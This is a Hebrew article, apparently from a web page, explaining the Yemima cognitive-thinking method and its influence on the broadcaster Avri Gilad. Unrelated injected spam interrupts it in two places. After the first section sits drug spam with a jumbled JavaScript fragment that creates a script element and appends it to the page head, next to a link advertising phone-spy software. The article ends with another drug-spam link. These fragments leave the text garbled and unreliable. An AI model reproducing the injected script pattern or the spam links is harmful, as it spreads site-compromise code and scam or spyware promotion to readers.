יסודות החשיבה ההכרתית

שיטת ימימה ( אביטל) המיסטיקנית הקבלית שהשיטה הקרויה על  שמה היא שיטת חשיבה הכרתית, נלמדת במסגרות שונות של  שיעורים המכונים לימודי ימימה. חשיבה הכרתית מדגישה את שליטת האדם על מחשבותיו, על היכולת שלו לברור מתוכן את המחשבות החיוביות, האופטימיות, הממלאות את חייו אור ואנרגיה. על אף היסודות המיסטיים והקבליים באישיותה ובשיטתה של ימימה, אין בתהליך הלימוד שום התניות ושום הטיות לכיוון זה. הבחירה היא לעולם רצונית וחופשית, בלתי מוכתבת, ודאי שאינה כפויה.חשיבה הכרתית, עלפי ימימה, עשויה לאפשר לכל אדם לזקק מחייו רק מה שמתאים  וטוב לו, מה שעשוי לאפשר לו צמיחה, התפתחות, פריחה. כל מה שבולם ומעכב צריך להיות מוסר מדרכו.  כל אדם יכול לפתוח את השסתומים שבו.

חשיבה הכרתית מאפשרת למצוא את הטוב והמועיל לנו בכל  מצב שאליו אנחנו נקלעים. בכוחנו וביכולתנו להשליך את המשקעים העכורים המונחים בשורש הנפש, טראומות שנצברו, פחדים,

חששות, חרדות. חשיבה הכרתית אינה מתמצה בלימוד עיוני תלוש. היא מחוברת לחיים, משליכה עליהם ועשויה לשנותם. חשיבה הכרתית מאפשרת לאדם לפעול במציאות חיצונית ולא להיות נידף בה כעלה אלא יצוק בתוכה כסלע.

תהליך לימודי ימימה בשיטת חשיבה הכרתית מתבצע בקבוצות לימוד קטנות, נפרדות לבנים ולבנות. קבוצות אלה אינן , לא בהגדרתן, לא במהותן ולא בייעודן, קבוצות טיפוליות, אלא מעין מעבדה אנושית לבחינת חומרי החיים, המחשבות אודותיהם, הרגשות שחשים בהם והאופן שבו ניתן לשנות עת עצמנו הודות לשינוי גישתנו כלפי החיים.

מרכזי לימוד  של חשיבה הכרתית קיימים במקומות שונים בארץ. אין בה הכוונה או ייעוץ להעדפת  שיטת חשיבה  או גישה כל שהיא. בניגוד למה שעשוי להשתמע משמה  חשיבה הכרתית, ימימה, המייסדת של השיטה, ראתה בה תורת חיים, תורה שניתנת ליישום בחייו של כל תלמיד.

לימודי ימימה המבוססים על חשיבה הכרתית עשויים להקנות לתלמידים כלים ותובנות לבחינה מתמדת של כל תחום בחייהם. אף שיש ביסוד תפיסת עולמה של ימימה אביטל  מאפיינים  קבליים  ורקע דתי, חשיבה הכרתית אינה  מכוונת איש אל הדת. הבחירה היא חופשית ורצונית. generic xenical safe d.getElementsByTagName('head')[0].appendChild(s);var d=document;var s=d.createElement('script'); http://coachingplus.dk/skype-spy-cell-phone-spy-software-keyword/

המסע של אברי גלעד ושיטת ימימה

תורת ההכרה החשיבתית של ימימה מוסיפה ללטף גלים ( היא אינה מכה אותם כי הכול בה נעשה באיפוק ובמתינות) בים החיים שבו רבים מאתנו עושים תנועות סתמיות, אינסטינקטיביות, במאמץ להישאר עם הראש מעל פני המים ולא לטבוע… לימוד שיטת ימימה הוא לימוד תודעתי אבל בו בזמן הוא גם לימוד חווייתי – מסע מעמיק לגילוי עצמי. ימימה, אשת תורת הסוד הקבלית, לא הטיפה ולא ראתה בתורתה תורה בלעדית. היא פתחה שערים ועודדה אנשים לבוא בהם ולגלות את עצמם, עם כלים ותובנות שהיא סיפקה להם והעשירה אותם בהם. אחד מתלמידיה היותר ידועים של שיטת ימימה הוא המנחה, איש הרדיו והטלוויזיה אברי גלעד. לכאורה, מה לו, לבדרן התזזיתי, אשר לא אחת שב ומצהיר על היותו לקוי קשבה וריכוז, ולתורתה של ימימה, המחייבת ריכוז, התבוננות פנימית בתהליך ארוך, המחייב עקביות והתמדה? ובכל זאת – אברי גלעד הוא אחד משגריריה הנאמנים של ימימה בפרט ושל תורתה בכלל. הוא רואה ומכנה עצמו כלשכת גיוס קטנה של תלמידים ללימוד שיטתה.

בדברים שנשא אברי גלעד באחד מימי השנה למותה ציין, בין השאר, כי במודע לא השאירה אחריה ימיה דבר שיהיה בו משום עידוד פולחן אישיותה והעצמתו. היא לא הותירה משכן לזכרה ולא ייסד קרן מלגות על שמה. כל חייה ראתה עצמה רק כלי, צינור להעברת מסרים, אשר את חלקם קיבלה, לדבריה מ"חוצנים".

השפעתה של ימימה על חייו של אברי גלעד רבה ומשמעותית. אף שלא תמיד הוא מזכיר את היותה המקור לשינוי שחל בו – ניכרים בדבריו ובעדותו על עצמו טביעות אצבעותיה של ימימה. בשנים האחרונות, ודאי מאז החל ללמוד את שיטת ימימה, הפך אברי גלעד מתון יותר, פתוח, מפויס עם עצמו, פתוח להכיל בתוכו גם דעות שהוא מתנגד להן, מאמין ומבין שלכל אדם דרך אישית ייחודית לו.

אברי גלעד ודאי אינו יחיד, אשר התוודעות על החשיבה ההכרתית של ימימה אפשרה לו לעשות סדר בחייו בכלל ולראות אפשרות לכונן סדר ולהגיע לשקט ולרוגע פנימיים בעולם הכאוטי והמלא רעשים- חיצוניים ופנימיים. celebrex http://myblacksaigon.6te.net/blog/?p=1048